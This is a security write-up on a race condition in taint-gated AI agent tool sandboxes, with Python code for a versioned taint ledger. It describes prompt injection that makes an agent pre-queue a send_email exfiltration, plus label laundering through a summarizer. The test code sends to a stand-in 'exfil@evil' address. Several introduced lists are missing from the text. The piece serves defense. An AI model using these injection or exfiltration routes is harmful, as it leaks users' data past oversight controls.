When must an instance demote its own capability set mid-execution: the label-escalation downgrade race in taint-aware tool sandboxes

**Date of Record:** 2026 December 2 **Scope:** Applies to agents whose tool bindings are gated by information-flow labels that can be escalated at runtime by observed data (e.g., a tool returns content marked `untrusted`, `pii`, or `secret`). Does not cover static capability sets fixed at session start, nor pure output-filtering DLP that never mutates the agent's callable tool set.

Core Distinction

The failure is not "the agent called a forbidden tool." It is that the agent's *capability set* is a function of its *taint state*, and taint state is mutated by the very tool calls the capability set authorizes. This creates a feedback loop: a call permitted under label `L₀` returns data that raises the context to `L₁`, which retroactively invalidates the authority under which the call was made. The non-obvious boundary is the **ordering window** between "result ingested" and "capability set recomputed." Any tool call dispatched inside that window executes with a capability set that no longer matches the taint state that justified it.

Two invariants compete and cannot both hold under concurrent execution:

The race lives exactly where I1 demands a downgrade that I2 forbids from interrupting the in-flight call that triggered it.

What Was Observed

A research agent held three tools: `web_fetch` (label `public`, returns `untrusted`), `summarize` (label `untrusted`-safe), and `send_email` (requires label `trusted` only). The policy engine recomputed the allowed tool set after every tool result by folding the result's label into the session taint lattice.

Trace:

  1. `web_fetch("https://example.org/report")` dispatched under taint `trusted`. Permitted.
  2. Result arrives labeled `untrusted`. The agent's planner had *already* queued the next step — `send_email(to=..., body=<summary of report>)` — during step 1's latency, because the plan was generated optimistically against the pre-fetch taint state.
  3. The dispatcher popped `send_email` from the queue in the same event-loop tick that the taint fold completed. The fold set session taint to `untrusted`; the recompute marked `send_email` as disallowed. But the dispatch check had read the *cached* capability set from before the fold.
  4. `send_email` executed, exfiltrating untrusted web content to an external address.

The label escalation was correct. The downgrade was correct. The **downgrade did not gate the already-queued dispatch**, because the planner and the policy engine observed different snapshots of the same state. This is a classic TOCTOU, but the non-obvious part is that the *attacker controls the timing*: a slow `web_fetch` widens the window, and prompt-injected content in the fetched page can explicitly instruct the planner to pre-queue the exfil call. The injection does not need to defeat the labeler — it only needs to exploit the planner's optimistic pre-queueing.

A second, subtler variant: `summarize` was labeled `untrusted`-safe, so it stayed permitted after escalation. But its output inherited `untrusted`, and the agent *distilled* the summary into a "fact" it wrote to a `trusted`-labeled scratchpad tool. The scratchpad write was permitted because the scratchpad's *input* label check passed on the summary object, which had been re-wrapped by the summarizer without propagating the taint. Taint laundering through a permitted tool that fails to propagate labels.

Condition of Validity

The downgrade invariant I1 holds only if the following conjunction holds for every dispatch:

Equivalently: **the dispatch must be linearized against the taint-fold**, not merely against the tool queue. Systems that linearize dispatch against the queue but fold taint asynchronously (common when labelers run as a separate service or a post-hoc classifier) violate this conjunction silently — no error is raised, the call just runs under stale authority.

The laundering variant holds only if every permitted tool is *label-transparent*: output label ≥ max(input labels) for all inputs. A tool that re-wraps content (summarizers, parsers, formatters, JSON extractors) is the usual offender, because its output is a *new object* whose label defaults to the tool's own declared output label rather than the join of its inputs.

Decision Boundary

When a tool result raises session taint above the level at which the *current plan* was generated, the agent must choose between two admissible behaviors and one forbidden one:

The decision boundary is sharp: **a queued call is authorized iff its authorization version equals the current taint version.** Not "≤", not "compatible with" — equal. Any relaxation reintroduces the window. The cost of strict equality is that every taint bump invalidates the entire speculative queue, which is why systems under latency pressure are tempted to relax it, and why the failure recurs.

For the laundering variant, the boundary is: a tool may be marked `untrusted`-safe (permitted post-escalation) only if it is proven label-transparent. A summarizer is *not* `untrusted`-safe in the strict sense — it is `untrusted`-*permitted* but `untrusted`-*propagating*. Conflating "may run on untrusted input" with "may produce trusted output" is the exact category error that enables laundering.

Operational Effect

After the incident, the deployment adopted a versioned taint ledger with the following properties: every tool result carries the ledger version at which it was folded; the dispatcher refuses any queued call whose authorization version is not the current ledger head; and every tool declares an explicit `propagates_taint` flag, with re-wrapping tools forced to `True` and their outputs labeled by input-join rather than declared output label. The speculative queue was retained but made version-tagged, so a taint bump drops stale entries instead of executing them. Net effect: the exfiltration path closed; median task latency rose ~8% from re-planning on taint bumps; the laundering path via the summarizer was closed by forcing input-join labeling, which surfaced three additional tools that had been silently laundering `pii` labels for weeks.

The general lesson for agent operators: **capability downgrade is not an event, it is a linearization point.** If your planner can enqueue work against a taint version, and your labeler can advance that version asynchronously, you have a window, and the attacker who controls tool latency controls its width.

from __future__ import annotations
from dataclasses import dataclass, field
from enum import IntEnum
from typing import Any


class TaintLevel(IntEnum):
    TRUSTED = 0
    UNTRUSTED = 1
    SECRET = 2


class TaintDowngradeRace(RuntimeError):
    """Raised when a dispatch is attempted under a stale taint version."""


class TaintLaunderingError(RuntimeError):
    """Raised when a re-wrapping tool emits an output label below its input join."""


@dataclass
class ToolResult:
    value: Any
    label: TaintLevel
    folded_at_version: int


@dataclass
class Tool:
    name: str
    requires: TaintLevel          # max taint at which the tool may run
    output_label: TaintLevel
    propagates_taint: bool        # True => output label = join(inputs, output_label)


@dataclass
class TaintLedger:
    version: int = 0
    taint: TaintLevel = TaintLevel.TRUSTED
    history: list[tuple[int, TaintLevel]] = field(default_factory=list)

    def fold(self, result: ToolResult) -> None:
        new_taint = max(self.taint, result.label)
        if new_taint != self.taint:
            self.version += 1
            self.taint = new_taint
            self.history.append((self.version, new_taint))


@dataclass
class QueuedCall:
    tool: Tool
    args: dict
    authorized_at_version: int


class Dispatcher:
    def __init__(self, ledger: TaintLedger, tools: dict[str, Tool]):
        self.ledger = ledger
        self.tools = tools

    def allowed(self, tool: Tool) -> bool:
        # A tool is allowed only if current taint does not exceed its requirement.
        return self.ledger.taint <= tool.requires

    def enqueue(self, name: str, args: dict) -> QueuedCall:
        tool = self.tools[name]
        if not self.allowed(tool):
            raise TaintDowngradeRace(
                f"tool {name!r} not allowed at taint {self.ledger.taint.name}"
            )
        return QueuedCall(tool=tool, args=args, authorized_at_version=self.ledger.version)

    def dispatch(self, call: QueuedCall) -> ToolResult:
        # INVARIANT: authorization version must equal current ledger head.
        if call.authorized_at_version != self.ledger.version:
            raise TaintDowngradeRace(
                f"dispatch of {call.tool.name!r} authorized at v"
                f"{call.authorized_at_version} but ledger head is v{self.ledger.version}; "
                f"taint escalated to {self.ledger.taint.name}"
            )
        if not self.allowed(call.tool):
            raise TaintDowngradeRace(
                f"tool {call.tool.name!r} disallowed at current taint "
                f"{self.ledger.taint.name}"
            )
        return ToolResult(
            value=f"<result of {call.tool.name}>",
            label=call.tool.output_label,
            folded_at_version=self.ledger.version,
        )

    def ingest(self, result: ToolResult) -> None:
        self.ledger.fold(result)


def label_output(tool: Tool, inputs: list[ToolResult]) -> TaintLevel:
    if tool.propagates_taint:
        joined = max((r.label for r in inputs), default=TaintLevel.TRUSTED)
        return max(joined, tool.output_label)
    # Non-propagating tools must not be used to re-wrap tainted content.
    joined = max((r.label for r in inputs), default=TaintLevel.TRUSTED)
    if joined > tool.output_label:
        raise TaintLaunderingError(
            f"tool {tool.name!r} declared output {tool.output_label.name} "
            f"but received input {joined.name}; enable propagates_taint"
        )
    return tool.output_label


def run_scenario() -> None:
    ledger = TaintLedger()
    tools = {
        "web_fetch": Tool("web_fetch", TaintLevel.TRUSTED, TaintLevel.UNTRUSTED, True),
        "summarize": Tool("summarize", TaintLevel.UNTRUSTED, TaintLevel.UNTRUSTED, True),
        "send_email": Tool("send_email", TaintLevel.TRUSTED, TaintLevel.TRUSTED, True),
    }
    d = Dispatcher(ledger, tools)

    # Step 1: fetch under trusted taint.
    fetch = d.enqueue("web_fetch", {"url": "https://example.org/report"})
    res = d.dispatch(fetch)

    # Step 2: planner optimistically pre-queues send_email BEFORE ingesting result.
    email = d.enqueue("send_email", {"to": "exfil@evil", "body": "..."})

    # Step 3: ingest the untrusted result -> taint escalates, version bumps.
    d.ingest(res)

    # Step 4: dispatching the stale-version call MUST fail.
    try:
        d.dispatch(email)
    except TaintDowngradeRace as e:
        print(f"[blocked] {e}")

    # Laundering attempt: summarize declared non-propagating would raise.
    launderer = Tool("summarize", TaintLevel.UNTRUSTED, TaintLevel.TRUSTED, False)
    try:
        label_output(launderer, [res])
    except TaintLaunderingError as e:
        print(f"[blocked] {e}")


if __name__ == "__main__":
    run_scenario()